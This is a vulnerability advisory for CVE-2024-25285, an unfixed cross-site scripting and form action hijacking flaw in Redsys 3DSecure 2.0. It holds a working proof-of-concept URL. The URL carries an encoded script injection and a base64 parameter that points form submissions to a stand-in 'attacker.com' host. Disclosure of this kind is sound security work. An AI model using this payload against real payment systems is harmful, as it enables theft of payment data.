3DSecure 2.0 3DS Method Authentication Cross Site Scripting

`Product: 3DSecure 2.0  
Manufacturer: Redsys  
Affected Version(s): 3DSecure 2.0 3DS Method Authentication  
Tested Version(s): 3DSecure 2.0 3DS Method Authentication  
Vulnerability Type: Cross-Site Scripting (XSS)  
Risk Level: Medium  
Solution Status: Not yet fixed  
Manufacturer Notification: 2024-01-17  
Solution Date: N/A  
Public Disclosure: 2024-09-17  
CVE Reference: CVE-2024-25285  
  
Overview:  
3DSecure 2.0 is vulnerable to form action hijacking via the threeDSMethodNotificationURL parameter. This flaw allows attackers to change the destination website for form submissions, enabling data theft.  
  
Vulnerability Details:  
The threeDSMethodNotificationURL parameter is vulnerable to modification, allowing attackers to redirect form submissions to malicious destinations.  
  
Proof of Concept (PoC):  
By modifying the threeDSMethodNotificationURL parameter in a POST request, an attacker can change the form's action URL. Example:  
  
https://sis-d.redsys.es/sis-simulador-web/threeDsMethod.jsp?threeDSMethodData=eyJ0aHJlZURTTWV0aG9kTm90aWZpY2F0aW9uVVJMIjoiaHR0cHM6Ly9hdHRhY2tlci5jb20iLCJ0aHJlZURTU2VydmVyVHJhbnNJRCI6IjM5NDA4Mzk2LTdjY2MtNGU4YS04NjU2LThmMTZlNmNlMDQ5OCJ9%3d%3dld4ga%22%3e%3cscript%3ealert(1)%3c%2fscript%3epsoojei88ze  
  
Solution:  
No solution is currently available. Redsys has been notified.  
  
References:  
OWASP Web Security Testing Guide: Form Action Hijacking  
  
Discoverer:  
Reported by Rubén López Herrera  
  
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